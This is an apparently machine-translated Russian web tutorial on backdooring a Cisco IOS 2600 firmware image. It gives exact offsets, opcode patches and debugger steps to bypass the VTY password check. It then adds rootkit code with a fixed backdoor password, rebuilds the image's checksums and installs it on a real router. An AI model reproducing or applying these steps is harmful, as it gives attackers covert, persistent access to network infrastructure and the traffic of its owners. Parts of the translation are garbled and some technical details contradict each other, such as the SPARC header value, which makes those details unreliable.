Есть несколько важных моментов, касающихся структуры IOS BIN. Прежде всего, это в основном ZIP-файл, содержащий несколько заголовков; почти все программы распаковки могут узнать, где начинаются zip-данные, и распаковать их. Первый — это заголовок, используемый для описания двоичного файла, за исключением машинных переменных, вам не нужно беспокоиться о другом двоичном файле; затем есть самораспаковывающаяся исполняемая программа, за исключением переменной размера, вам не нужно слишком много знать; затем это zip данные. Наконец, после распаковки, прежде чем вы сможете загрузить файл в IDA, вы должны изменить флаг e_machine в заголовке ELF. Вы можете сделать это, распаковав c2600-bino3s3-mz.123-22.bin, так что у вас останется C2600-BI.BIN. Скопируйте этот файл из C2600-BI.BIN в C2600-BI.BIN.ida, затем откройте файл в ht / hte (ht /path/to/C2600-BI.BIN.ida) и нажмите «ОК» в диалоговом окне. «:

Затем нажмите F6, выберите заголовок EF в модели, прокрутите вниз до элемента машины — на нем будет отображаться 64-разрядная версия SPARC v9 — нажмите F4 для редактирования, введите 0014, теперь нажмите F2 для сохранения и нажмите F10 выбывать. Теперь вы можете загрузить BIN в IDA. * Примечание. На некоторых виртуальных машинахhtТолькоhte, Вам нужен шестнадцатеричный редактор, а не обработка текста — во всяком случае, в этой статье мы будем использоватьhtДля обработки двоичного файла, но на вашем компьютере его имя может бытьhte

Теперь у вас есть c2600-bino3s3-mz.123-22.bin, C2600-BI.BIN.ida и d C2600-BI.BIN, откройте c2600-bino3s3-mz.123-22.bin в ht, нажмите «ОК» в диалоговом окне, а затем нажмите F7 для поиска. Переключитесь на шестнадцатеричный формат и введите «fe ed fa ce», а затем нажмите Enter. Это магическое значение может определять различную битовую информацию, такую ​​как размер и контрольная сумма.

Если вы хотите перестроить полный сжатый образ IOS, помимо «feed face», вы также должны знать, как вычислять и управлять несколькими другими важными значениями:

02 65 e2 8c: Размер несжатого изображения
00 eb 1e bb: размер сжатого изображения
ed a0 3a 8b: контрольная сумма зеркала после сжатия
7c 5c c4 27: контрольная сумма несжатого зеркала

После того, как вы определили расположение этих значений, вы нажимаете F10 в ht для выхода. На основе этих значений вы можете найти магическое значение «PK», используемое для идентификации данных заголовка PKZipped. Эти ценности и их позиции важны и также будут играть роль в будущем. Кроме того, важно понимать, как рассчитываются эти значения. Во-первых, нам нужно найти длину сжатого изображения и несжатого изображения.

Перейдите к значению, которое мы видим в байте после магического значения 0xfeedface:

[ [email protected]  ] # pcalc 0x0265e28c # 02 65 e2 8c: Размер несжатого изображения 
            40231564 0x265e28c           0y10011001011110001010001100
[ [email protected]  ] # pcalc 0x00eb1ebb # 00 eb 1e bb: размер сжатого изображения
            15408827 0xeb1ebb      0y111010110001111010111011
[ [email protected]  ] # pcalc 15408827-15425704; размер заголовка минус размер вывода `ls` 
       -16877        0xffffffffffffbe13
Скопировать код

Помните предупреждение о декомпрессии:

Предупреждение: [c2600-bino3s3-mz.123-22.bin]: 16876 дополнительных байтов в начале или в zip-файле
Скопировать код

Мы хотим найти контрольную сумму сжатого изображения и несжатого изображения

[!] Вычислить контрольную сумму файла C2600-BI.BIN

Чтобы получить контрольную сумму сжатого файла, который представляет собой zip-данные, используйте заголовок для вычитанияdd, Помните, что «лишние» данные содержат 16 876 байт.

[!] Вычислить контрольную сумму файла c2600-bino3s3-mz.123-22.bin.no_header

Поскольку нам понадобится это значение позже, чтобы перестроить двоичный файл IOS, нам нужна копия заголовка. Это значение должно быть 16876 минус 16. Эти 16 байтов необходимы для 4 значений в каждых 4 байтах: это размер сжатого изображения, размер несжатого изображения и контрольная сумма сжатого изображения. Sum и контрольная сумма несжатого зеркала.

На данный момент: мы получили файл c2600-bino3s3-mz.123-22.bin, содержащий несколько заголовков и zip-данных, распакованный образ C2600-BI.BIN и C2600-BI, помеченный как модифицированный e_machine. .BIN.ida и файл c2600-bino3s3-mz.123-22.bin.no_header с удаленным заголовком. Более того, мы также знаем расположение магического значения 0xfeedface, как рассчитать шестнадцатеричное значение и куда поставить эти шестнадцатеричные значения, если необходимо, это нужно делать вручную. Наконец, чтобы загрузить BIN в IDA, мы должны изменить значение заголовка e_machine Elf с 002d (SPARC) на 0014 (PowerPC).

Затем извлеките C2600-BI.BIN.ida, измените заголовок ELF e_machine файла C2600-BI.BIN.ida, а затем поместите этот файл в IDA на виртуальной машине Windows. Конечно, вы также можете повторно сжать этот файл и получить новый C2600-BI.BIN — просто убедитесь, что в извлеченном файле установлен флаг e_machine на 0014. Откройте IDA (32-разрядную версию), выберите «Новый», установите процессор на PowerPC Bif-Endian [PPC] и дождитесь завершения загрузки IDA.

В процессе загрузки файлов IDA, если вы попытаетесь удаленно войти в систему на устройстве Cisco, вы увидите подсказку с просьбой ввести «пароль». Если вы введете неправильный пароль несколько раз, вы увидите сообщение об ошибке «%% Bad» пароли n «. Здесь будут использоваться базовые знания о разборке. Затем нам нужно найти несколько строк, найти подпрограмму suo’yo для XREF (перекрестная ссылка) и наблюдать за этой функцией.

После того как IDA завершит загрузку, щелкните вкладку IDA-View-A, затем щелкните в любом месте окна и нажмите «g» (или воспользуйтесь текстовым поиском). Когда мы определили, что делать в диалоговом окне, откройте тип aBadPasswords и нажмите «ОК». Вы должны увидеть содержимое на изображении ниже:

Если вы не нашли контент на картинке, вы можете попробовать текстовый поиск, нажав ‘g’ в IDA, или потому что IDA не завершила анализ двоичного файла. Если вы посмотрите в нижний левый угол, цифры здесь не должны прыгать. Подождите, пока числа не перестанут биться, IDA предложит вам изменить режим просмотра — это означает, что IDA завершила анализ.

В части данных этого исполняемого файла, предназначенной только для чтения, мы нашли строку «Пароль» в .rodata: 81a414f8: Тогда это оказался .rodata: 81a41504, где мы нашли искомые «%% Bad passwords». n «строка. Дважды щелкните слово XREF, выберите строку «Пароль», и вы попадете сюда:

Прежде чем мы продолжим, теперь мы хотим пересмотреть некоторые базовые знания о языке ассемблера PowerPC. Если вы немного знаете язык ассемблера, вы можете примерно понять, что это значит, просто запомните следующие моменты:

Инструкции PowerPC OP rX, rY, rZ, например, если OP равно ADD, затем ADD, тогда: rX = rY + rZ, если OP равно SUB, тогда: rX = rY – rZ.

Порядок выполнения большинства инструкций — справа налево, и в зависимости от вашего ассемблера и инструмента отладки они могут варьироваться от 2 до 4 регистров. Например, команда сравнения может быть записана cmp crfD, L, rA, rB, то есть cmp cr7, 0, r3, r4 или cmp r3, r4. В Интернете есть множество интерактивных руководств по языку ассемблера PowerPC.

Практически все инструкции выполняются справа налево, за исключением операций хранения, порядок выполнения этих инструкций слева направо. Например, чтобы сохранить в стек слово (32b) определенных данных в регистре r3:

stw %r3, 0x0(%sp)
Скопировать код

Некоторые базовые знания о сборке PowerPC: всего 32 регистра, r0-r32, некоторые из которых очень особенные. Регистр ссылки содержит адрес следующей инструкции, так что когда вызываемая функция завершает все операции, функция знает, куда вернуть выполнение. Например, если у вас есть ветка и ссылкаbl _my_function, Который работает как x86retbl _my_functionБудет извлекатьbl _my_function Добавьте 4 к начальному адресу инструкции и сохраните результат в регистре соединения; затем jmp в _my_function. В _my_functionbl _my_functionВызовет mflr% rX-, чтобы перейти из регистра соединения в регистр rX, и сохранить, … запустить всю _my_function и, наконец, вызвать mtlr% rX-, чтобы перейти к регистру соединения, а затем вызвать ветвь в регистре соединения blr. Это может извлечь адрес сохраненного регистра связи из% rX, а затем вызвать ветвь в регистре связи, то есть установить счетчик программы на адрес, хранящийся в регистре связи.

bl _my_function
cmp %r3, 0

stw% rX, memY: все коды операций stw * используются для хранения данных и выполняются слева направо. lwz% r4, -0xc (% sp): Все коды операций lw * предназначены для загрузки данных и выполняются справа налево. % r1 и% sp — это одно и то же; по сути, r1 — это поддельный указатель стека. Возвращаемое значение функции обычно помещается в r3, и r3 часто используется как первый параметр функции, за которым следуют r4, r5, r6 …

Вы можете установить регистр условий для большинства кодов операций, добавив крайний срок; например:

0000 xor.% R4,% r4,% r4 # r4 = 0 и установить регистр условий
 0001 bnel _strcmp # Не прыгать, но сохранить LR-ветку будет некорректно
 0002 mflr% r4 # Переместить * этот * адрес (0002) в r4
 0004 addi% r4,% r4, 8 # (# строка, начинающаяся с mflr) * 4; теперь r4 указывает на строку
0005 .ascii "Iminlovewithamaliciousintent" 0006 .long 0x0
Скопировать код

Опять же, в Интернете есть много онлайн-руководств по сборке PowerPC. На данный момент вам нужно лишь приблизительно знать, что мы делаем. При использовании b * 1 для вызова функции цифра 1 в конце означает установку регистра соединения на значение следующей инструкции после инструкции вызова. Затем используйте ветвь в регистре соединения blr в функции, чтобы вернуться к использованию регистра соединения, также сообщив функции, где должен быть установлен счетчик программы. mflr-Удалить регистр подключения. Каждый раз, когда вы хотите сохранить регистр подключения, вы можете вызвать mflr% rX, и функция сохранит регистр подключения в rX. mtlr — перейти в регистр подключения, вы можете установить mtlr, затем вызвать blr и перейти к этому адресу, будь то относительный адрес или абсолютный адрес. mr- переместить регистр, также работать справа налево. Поскольку все инструкции состоят из 4 байтов или 1 слова, вам понадобятся две инструкции для загрузки 32-битного значения в слово на PowerPC. Есть много способов добиться этого, но наиболее распространенными являются:

Теперь r4 = 0x80008000. Большинство кодов операций будут использовать w для ссылки на слово, b для ссылки на байт, z для ссылки на заполнение нулями и i для немедленной ссылки или их комбинацию. Знания этого достаточно для понимания следующих операций.

Вернитесь в IDA, дважды щелкните DATA XREF: sub_803BD4C0 + 38 и начните наблюдать за функцией на loc_803bd4f4; функция загружает 0 в r30, а затем загружает байт верхнего регистра строки «Пароль:» в r27. В следующем loc_803bd4fc строчный байт хранится в r6, поэтому мы можем предположить, что следующая вызываемая функция отобразит эту строку. Если это функция входа в систему, нам нужно выполнить только два шага, чтобы выйти из этой функции: когда r3 равно 0, beq loc_803bd540 войдет в другую часть, чтобы получить значение, переданное функции (addi r3, r1, 0x70 + var_68) , А затем извлеките два других r4 и r5. Затем мы внимательно рассмотрим эту функцию, ее начальный кодaddi r3, r1, 0x70+var_68. Далее, когда возвращаемое значение r3 не равно 0, мы выпрыгиваем из вызова функцииbl sub_80385070

Чтобы преобразовать адрес из IDA в objdump, сначала используйте objdump для обработки файла и найдите начало кода:

В этом двоичном коде код начинается с 0x60, возьмите этот адрес, вычтите базовый адрес 0x80008000 и добавьте 0x60, так что вы получите свой адрес objdump. Что нужно помнить, так это откуда этот 0x60, потому что мы будем использовать этот адрес много раз в будущем.

И, чтобы перевернуть адрес из objdump обратно в IDA, вам нужно добавить базовый адрес 0x80008000 к адресу objdump, а затем вычесть 0x60:

Если вы хотите использовать objdump для поиска местоположения или адреса, просто запомните информацию в нижнем регистре в выводе objdump и информацию в верхнем регистре в IDA, чтобы вы могли использовать objdump для поиска адреса (до нескольких байтов предложений):

Теперь нам нужно открыть PowerPC QEMU, запустить наш образ Debian на основе PowerPC в одном окне, запустить Dynamips, настроенный с заглушкой GDB, в другом окне, а затем удаленно отладить экземпляры Dynamips IOS через GDB в QEMU.

В Dynamips мы запустим заглушку GDB на порту 6666 и настроим интерфейс tap 1, чтобы мы могли связываться с виртуальным маршрутизатором через виртуальную сеть.

[ [email protected] ]# tunctl -t tap1
[ [email protected] ]# ifconfig tap1 up
[ [email protected] ]# ifconfig tap1 192.168.9.1/24
[ [email protected] ]# ./dynamips-gdb-mod/dynamips -Z 6666 -j -P 2600 -t 2621 -s 0:0:tap:tap1 -s 0:1:linux_eth:eth0 /path/to/C2600-BI.BIN
Cisco Router Simulation Platform (version 0.2.8-RC2-amd64) Copyright (c) 2005-2007 Christophe Fillot.
Build date: Sep 21 2015 00:35:24
IOS image file: /path/to/C2600-BI.BIN ILT: loaded table "mips64j" from cache. ILT: loaded table "mips64e" from cache. ILT: loaded table "ppc32j" from cache. ILT: loaded table "ppc32e" from cache. C2600 instance 'default' (id 0):
VM Status : 0
RAM size : 64 Mb
NVRAM size : 128 Kb
IOS image : /path/to/C2600-BI.BIN
Loading BAT registers
Loading ELF file '/path/to/C2600-BI.BIN'...
ELF entry point: 0x80008000
C2600 'default': starting simulation (CPU0 IA=0xfff00100), JIT disabled. GDB Server listening on port 6666.
Скопировать код

Откройте другое окно терминала и запустите QEMU:

[ [email protected] ]# qemu-system-ppc -m 768 -hda debian_wheezy_powerpc_standard.qcow2
Скопировать код

После запуска и входа в систему как пользователь root: root и выполните переадресацию порта SSH, упомянутую ранее, потому что это упростит взаимодействие с виртуальной машиной. Пока вы вошли в систему (в любом случае), откройте GDB и подключитесь к экземпляру Dynamips (X.X.X.X — это IP-адрес, на котором работает Dynamips):

[[email protected] ] # gdb -q
(gdb) target remote X.X.X.X:6666 
Remote debugging using X.X.X.X:6666 
0xfff00100 in ?? ()
(gdb)
Скопировать код

На данный момент Dynamips работает под управлением IOS, есть заглушка для отладки на порту 6666, и мы также подключены к виртуальной машине PowerPC Debian. Затем сначала начните с начальной позиции функции, которую мы думаем, которая является строкой, выделенной в IDA-view Aaddi r3, r1, 0x70+var_68, А затем посмотрите на этот адрес в шестнадцатеричном представлении, вот 0x803bd528, посмотрите на этот адрес в GDB и проверьте, находитесь ли вы в том же порту.

Сравните инструкции и адреса в IDA:

Инструкции и адреса в GDB:

В разных инструментах отладки операционный код выглядит по-разному, независимо от того, какую версию программы отладки вы используете, просто адаптируйтесь к ней. Похоже, что он находится в том же месте, поэтому вам необходимо: 1. Установить IP-адрес на интерфейсе и установить пароль в строке VTY 2. Сохранить конфигурацию маршрутизатора 3. Убедитесь, что вы можете загрузить его с виртуальной машины для разработки Отправьте эхо-запрос на маршрутизатор 4. Установите точку останова на 0x803bd534 в bl 0x81b68928, чтобы мы могли видеть содержимое r3, r4 и r5

В экземпляре GDB установите точку останова в местоположении команды b * 0x803bd534, а затем введите ‘c’ или ‘continue’, чтобы экземпляр маршрутизатора в Dynamips мог продолжить запуск, а затем переключиться обратно в окно Dynamips, пока маршрутизатор запущен По завершении войдите в базовую конфигурацию.

Теперь с вашего основного хоста попробуйте войти в маршрутизатор через telnet. Если вы всегда следуете требованиям и используете один и тот же образ IOS, когда вы вводите пароль маршрутизатора и нажимаете клавишу Enter, окно зависает, и в окне GDB будет обнаружена точка останова. * Примечание: ваш регистрационный адрес обычно отличается от того, что вы видите здесь.

В точке останова мы можем наблюдать регистры, используемые в качестве параметров вызывающей функции: первый — r3, второй — r4, третий — r5 и так далее. В r3 есть пароль, который мы ввели, а в r4 — настоящий пароль и функция входа в систему, которую мы ищем. Затем на r3 выполняется операция сравнения:

Если значения не совпадают («ветвь не равна»), функция переходит к 0x803bd4ec. Установите точку останова на инструкции ветвления и соблюдайте r3:

Поскольку пароль, который мы ввели неверный, а значение r3 равно 0, теперь мы знаем, что для успешного входа в систему это значение не должно быть равным. Нажмите «c» в GDB, затем вернитесь в окно telnet, на этот раз введите правильный пароль, нажмите Enter и вернитесь в окно GDB.

Теперь мы успешно вошли в систему. Троянский конь может просто получить другие части, чтобы проверить, правильный ли пароль, вместо проверки «ветви не равны» мы изменили это условие на «ветви равны», в данном случае в дополнение к правильному паролю. Подойдет любой другой пароль. Теперь это то же самое, что и обход однобайтового входа. Нажмите ctrl + c, ‘q’, ‘y’, чтобы выйти из GDB.

Мы хотим найти инструкцию objdump (bne), чтобы мы могли использовать ht для редактирования инструкции и модификации ее сравнительного теста. Вернитесь в IDA, переместите мышь вbne loc_803bd4ecА затем просмотрите его в шестнадцатеричном виде. Скопируйте всю строку:

803BD53C 40 82 FF B0 80 1F 01 50 70 09 02 00 40 82 00 1C
Скопировать код

Вычтите базовый адрес Cisco 0x80008000 из смещения позиции адреса 0x803bd53c и добавьте смещение начальной позиции кода в выходных данных 0x60 objdump.

[ [email protected] ]# pcalc 0x803BD53C - 0x80008000 + 0x60     

3888540 0x3b559c 0y1110110101010110011100
Скопировать код

Местоположение, которое мы хотим изменить, — это адрес 0x3b559c в двоичном файле. Прежде всего, мы должны найти код операции, просто написать простую программу сборки на виртуальной машине QEMU. Чтобы лучше понять код операции, который нам нужен:

Первые 6 байтов — это код нашей операции. Следовательно, нам нужно написать пару простых ассемблерных программ, одну с использованием инструкции bne (ветви не равны), а другую с использованием инструкции beq (когда ветви равны).

Код операции — первые 6 цифр-0100 00 или 0x40. Теперь мы должны использовать тот же метод, чтобы найти код операции beq:

Здесь мы видим, что код операции bne (ветви не равны) — 0x40, а код операции bep (когда ветви равны) — 0x41. Мы знаем, что расположение инструкции bne — 0x3b559c, откройте C2600-BI.BIN в ht и измените 0x40 на 0x41.

[ [email protected] ]# ht C2600-BI.BIN
Скопировать код

Нажмите F5 и введите 0x3b559c

Обязательно наведите указатель мыши на 40, нажмите F4 для редактирования, измените 40 на 41, нажмите F2 для сохранения, а затем нажмите F10 для выхода. Теперь загрузите файл обратно в Dynamips, подключитесь к файлу через GDB и убедитесь, что изменения вступили в силу.

Мы видим, что инструкция по адресу 0x803bd53c действительно была изменена с bne 0x803bd4ec на beq 0x803bd4ec, то есть, помимо реального пароля, ввод любого другого пароля может получить доступ к маршрутизатору. Снова нажмите ‘c’ и позвольте маршрутизатору продолжить загрузку. После завершения запуска вы можете использовать любой пароль для входа в маршрутизатор. Чтобы доказать это, я написал простой сценарий Expect, чтобы вы могли видеть на экране, какой пароль получает маршрутизатор.

Затем с помощью этого скрипта мы можем подключиться к роутеру. Я делаю это только для того, чтобы увидеть пароль, отправленный на маршрутизатор и полученный маршрутизатором, потому что, если этот сценарий не используется, на экране ничего не будет отображаться. Другой момент заключается в том, что при использовании этого сценария реальный пароль также может работать, но вы не можете использовать telnet для входа в систему. Причина в том, что этот сценарий отправит дополнительный символ как новый разрыв строки, и этот разрыв строки будет использоваться в качестве пароля после его получения.Вы можете видеть, что первая попытка не удалась, а затем была получена вторая попытка.

На этом этапе мы впервые успешно изменили двоичный файл IOS, что позволяет нам использовать любой пароль для входа в строку VTY, кроме, конечно, настоящего пароля. Хотя мы хорошо доказали, что можно изменить двоичный файл ISO, но он далек от того, чтобы достичь уровня, который может быть применен в реальной среде. Теперь нам нужно написать несколько практических вещей, план такой:

Мы найдем достаточно большое место в области данных только для чтения (.rodata) для хранения нашего кода сборки, мы будем использовать наш собственный скомпилированный код, чтобы перезаписать строку там, а затем изменим область, в которую помещается двоичная модификация. реализовано. Затем мы заменим функцию проверки пароля нашей собственной функцией. Функция проверки пароля выполняет простое сравнение строк. Сравнение — это статический пароль, который мы скомпилировали в ассемблере. Если результат сравнения совпадет, он будет Функция проверки пароля возвращает успешный результат; если он не совпадает, исправьте все параметры реальной функции, а затем вызовите настоящую функцию.

Сохраните версию троянского коня C2600-BI.BIN под другим именем и снова распакуйте c2600-bino3s3-mz.123-22.bin, чтобы получить новый C2600-BI.BIN. Далее мы изменим этот файл (* обратите внимание, чтобы использовать последнюю версию C2600-BI.BIN):

Когда мы завершим некоторые операции, 0x803bd534 будет читать bl <адрес нашей функции> ‖, и если введенный пароль не равен паролю руткита, то его нужно будет отправить на проверку пароля чтения, поэтому мы должны проверить наш Вручную вызовите «b 0x80385070» (всегда переход) в функции. Вернитесь в IDA, перейдите в View -> Open Subview -> Strings, нажмите Length, первое, что мы видим, является самым длинным. Выберите строку на .rodata: 81B688E0, длина которой составляет 0x305-точка-точка. После первого stage-кода, начинающегося с 0x81B688E0, но наш код будет начинаться с 0x81b68928, мы начнем код со слова «Все».

Как получить адрес для перехода? Нам нужно два, один — это адрес ветки нашей строки / кода на 0x81b68928, который используется для замены вызова функции проверки пароля. Другой исходит от нашей функции, это адрес ветки функции проверки реального пароля.Если пароль не совпадает с паролем руткита и его необходимо отправить в функцию проверки реального пароля, будет вызвана функция проверки пароля. Короче говоря, код операции для базовой ветки — 48 00 00 00, поэтому сначала мы компилируем первую и смотрим, куда код операции помещает нас в этой части.

Поле кода операции — это первые 6 битов, 0-5 бит; следующие 4 бита — адрес, 6-29 битов; бит 30 AA определяет, является ли адрес абсолютным адресом или относительным адресом, а бит 31 LK будет определять, подключена ли операция. регистр.

Откройте C2600-BI.BIN с помощью ht, нажмите F5, перейдите к 0x3b5594 (две инструкции назад от 0x3b559c) и замените 4b fc 7b 3d на 48 00 00 00, сохраните и запустите в Dynamips, а затем подключитесь через GDB, И посмотрите, какой здесь адрес.

Мы обнаружили, что при использовании нашего кода операции 48 00 00 00 для проверки базовой ветви мы получим инструкцию b 0x803bd534, но нам нужно установить регистр соединения. Согласно приведенному выше объяснению, все эти операции в конечном итоге установят последний бит на 0x1 вместо 0x0, следовательно, чтобы получить bl 0x803bd534, мы должны установить код операции 48 00 00 01.

Мы решили начать наш код с 0x81b68928, который является начальным адресом ВСЕГО слова в строке авторского права точка-точка. Наша основная инструкция ветвления разместит нас по адресу 0x803bd534, и мы должны достичь 0x81b68928. Следовательно, нам нужно выяснить разницу, а затем добавить ее в нашу базовую операцию ветвления.

Результатом этого добавления является то, что бит 31 не установлен, но нам нужно установить этот бит, поэтому мы должны снова установить последний бит от 0x0 до 0x1, чтобы получить шестнадцатеричное значение 0x497ab3f5, поэтому наш код операции будет Переход к началу нашего кода: -49 7a b3 f5. Наш код операции 0x497ab3f5 переместится с 0x803bd534 на наш строковый адрес 0x81b68928. Снова откройте C2600-BI.BIN в ht, нажмите F5 и введите адрес 0x3b5594, установите для байта значение 49 7a b3 f5, сохраните и загрузите его в GDB.

Далее идет наша функция сравнения строк. Я постараюсь объяснить как можно проще, без всяких уловок и фишек, чтобы всем было понятно. Мы соберем и свяжем эту функцию, а затем поместим в функцию байты, начиная с 0x81b68928.

То, что я написал, можно использовать для локального тестирования. Но мы хотим заразить функцию входа в систему в реальной среде, поэтому нам нужно начинать с начала, вплоть до последнего пароля руткита и, наконец, заканчивать с 00 00 00 00 после rkPass. Нам нужно собрать и связать то, что я написал, а затем использовать objdump, чтобы выгрузить нужные нам байты, а затем заменить их нашими байтами.

Я видел адресb 0x00000000Позже мы решили разобраться, что здесь произошло. Во-первых, используйте тот же метод, что и раньше, чтобы уточнить, где слово «Все» в двухточечной строке соответствует позиции в objdump: вычтите базовый адрес 0x8000800 из адреса позиции строки 0x81b68928 плюс начало кода в objdump 0x60 Смещение позиции.

Сначала скомпилируйте и свяжите код rootkit.s, а затем выгрузите нужные нам байты в файл патча.

Если вы выполняете файл на собранном и связанном файлеobjdump -D rootkit, Вы обнаружите, что нам нужно вывести байты, которые начинаются со смещения 10000054 и заканчиваются на 100000e0. Затем мы извлекаем эти байты и отправляем их в наш файл исправления. После этого скопируйте файл rootkit.patch с виртуальной машины Debian PowerPC на основную виртуальную машину разработки.

Из наших предыдущих расчетов мы знаем, что rootkit.patch должен быть записан в файл C2600-BI.BIN по смещению 0x1b60988. Для этого мы написали простой скрипт Python для выполнения этой операции. Файлы rootkit.patch и C2600-BI.BIN должны находиться в одном каталоге, а имя вашего файла должно совпадать с нашим.

Снова используйте ht, чтобы открыть только что исправленный файл C2600-BI.BIN, нажмите F5 и введите адрес 0x1b60988, чтобы убедиться, что исправление было применено правильно.

Затем запустите файл в Dynamips и подключитесь через GDB, проверьте байты и убедитесь, что наш код присутствует.

* Обратите внимание, что мы не предоставили здесь полную информацию.

Для этого патча последнее, что нужно сделать, это исправить ветвь ложного местоположения -b 0x00000000 в коде сборки, перейти к функции проверки реального пароля, которую мы разместили ранее, она должна бытьb 0x80385070. Теперь ветка находится на 0x81b689a0, и мы хотим, чтобы эта ветка была на 0x80385070.

Снова откройте C2600-BI.BIN с помощью ht, перейдите по адресу 0x1b60a00 и замените байт 48 00 00 00 новым кодом операции ветвления и вычисленным адресом. Однако сказать это немного просто:

Найдите отрицательный адрес отделения:

<младший адрес> - <старший адрес> Получить младшие 26 цифр в результате и префикс 0y010010
Скопировать код

Найдите адрес основного отделения:

<старший адрес> - <младший адрес> Получите результат и добавьте 0x48000001 
Скопировать код

Последнее, что нужно сделать, — это сделать эту часть нашей строки исполняемой. Мы знаем из IDA, что эта часть данных предназначена только для чтения. Откройте в ht, нажмите F6, выберите elf / header, прокрутите вниз до машины, установите тип от SPARC 002b до PowerPC 0014 и сохраните. Затем используйте objdump, чтобы сделать эту часть исполняемой.

PowerPC 0014, and save it. Then use objcopy to set the section executable. 
[ [email protected] ]# objcopy -F elf32-powerpc --set-section-flags .rodata=alloc,code C2600-BI.BIN C2600-BI.BIN.ROEXEC
Скопировать код

Откройте C2600-BI.BIN.ROEXEC в ht, установите тип машины с PowerPC 0014 обратно на SPARC 002b, запустите Dynamips, подключитесь через GDB; затем продолжите. Сначала попробуйте войти в систему с обычным паролем, а затем войдите в систему с новым руткитом для бэкдора, который мы установили. Если у вас возникли проблемы со входом в систему, вернитесь и проверьте каждый шаг. Проверьте неисправность, выполнив следующие действия.

  1. После изменения байтов вы запустили новый C2600-BI.BIN?
  2. Все адреса филиалов верны?
  3. Все ли коды операций ветвления, включая регистры соединений, находятся в требуемых позициях, и проверьте, появляются ли они в позициях, которые не должны появляться? 4. Запустите IOS в Dynamips, используйте соединение GBD, прежде чем продолжить, проверьте инструкции: x / i 0x803bd53c, x / i 0x803bd534, x / 35i 0x81b68928.
  4. Установите несколько точек останова на b * 0x81b6899c, b * 0x81b689a0, b * 0x803bd538, b * 0x803bd534 и проверьте строку в x / s r3, x / s r4 в последней точке останова, убедитесь, что вы ввели пароль и маршрутизатор Ожидаемый пароль определяется этими регистрами.

Теперь, когда наш руткит может работать в Dynamips, пришло время воссоздать двоичный файл IOS, затем загрузить наш руткит на настоящий маршрутизатор и протестировать его. Прежде всего, мы должны сжать C2600-BI.BIN.ROEXEC. Я обнаружил, что лучше всего не использовать программу zip, потому что она может добавить неправильные байты, а использовать простой скрипт Python, как показано ниже:

Затем мы должны вычислить размер несжатого и сжатого изображения и сгенерировать контрольную сумму для изображения.

[ [email protected] ]# ./chksum.pl C2600-BI.BIN.ROEXEC.zip
Скопировать код

[!] Вычислить контрольную сумму файла C2600-BI.BIN.ROEXEC.zip

[!] Вычислить контрольную сумму файла C2600-BI.BIN.ROEXEC

Нам нужно поставить следующее значение после магического числа 0xfeedface в заголовке:

0265e288 Размер несжатого изображения
00ea53de Размер изображения после сжатия
Контрольная сумма сжатого изображения 4d955cec
c4e7e7c0 Контрольная сумма несжатого зеркала

Затем cat отразите заголовок, затем распечатайте 4 байта в двоичном формате и, наконец, cat zip-файл.

Прежде чем загружать наш образ троянского коня IOS на настоящий маршрутизатор и запускать его, нам, наконец, нужно изменить размер в заголовке SFX.

Размер zip плюс 20 используется для покрытия 0xfeedface, размера изображения, размера несжатого изображения, контрольной суммы изображения и контрольной суммы несжатого изображения.

Откройте в ht, нажмите F5 и перейдите к смещению 0x108, введите наш недавно рассчитанный размер 00 ea 53, нажмите F2, сохраните и выйдите из ht.

[ [email protected] ]# mv trojan.bin c2600-trojan-mz.123-22.bin
Скопировать код

Теперь загрузите руткит на настоящий роутер и перезагрузите:

Если в каком-либо из приведенных выше требований к памяти появляется слово «неизвестно», возможно, вы используете неподдерживаемую конфигурацию или проблема в программном обеспечении, и система может быть повреждена.

0x04 заключение


Теперь, как видите, мы можем войти в систему, используя пароль, настроенный администратором, или пароль нашего бэкдора. Хотя эта статья очень проста, в ней показаны все необходимые компоненты, которые необходимы при разработке более сложных функций. Некоторые другие люди также продемонстрировали некоторые другие методы, необходимые для выполнения других задач, такие как использование строковых ссылок для определения функций, необходимых для расширенных функций, создание оболочки привязки с разрешениями и создание нового разрешения VTY / TTY. , Добавьте или удалите требования к паролю для VTY, создайте авторизованную обратную оболочку и многое другое. Вам просто нужно уделить время, просмотреть статьи и онлайн-руководства, а затем применить полученные здесь основы для их применения. Надеемся, что технология бинарной модификации iOS, показанная в этой статье, не сложна по сравнению с другими модификациями прошивки. Пришло время переварить эти выводы и понять эти функции с помощью трассировки, отладки и заключения в кавычки. В этом нет никакого волшебства, ни одна страна не нужна как источник кода, и никаких секретных передовых технологий не задействовано. Чтобы изменить двоичный файл прошивки устройства Cisco, вам потребуются только базовые знания кодирования, знание языка ассемблера, связанного с целевой архитектурой, общее понимание разборки, а также время и интерес.

Понравилась статья? Поделить с друзьями:
  • Как написать русскую фамилию английскими буквами
  • Как написать римскими 4 квартал
  • Как написать русское слово латинскими буквами
  • Как написать русское имя на немецком
  • Как написать русское имя на корейском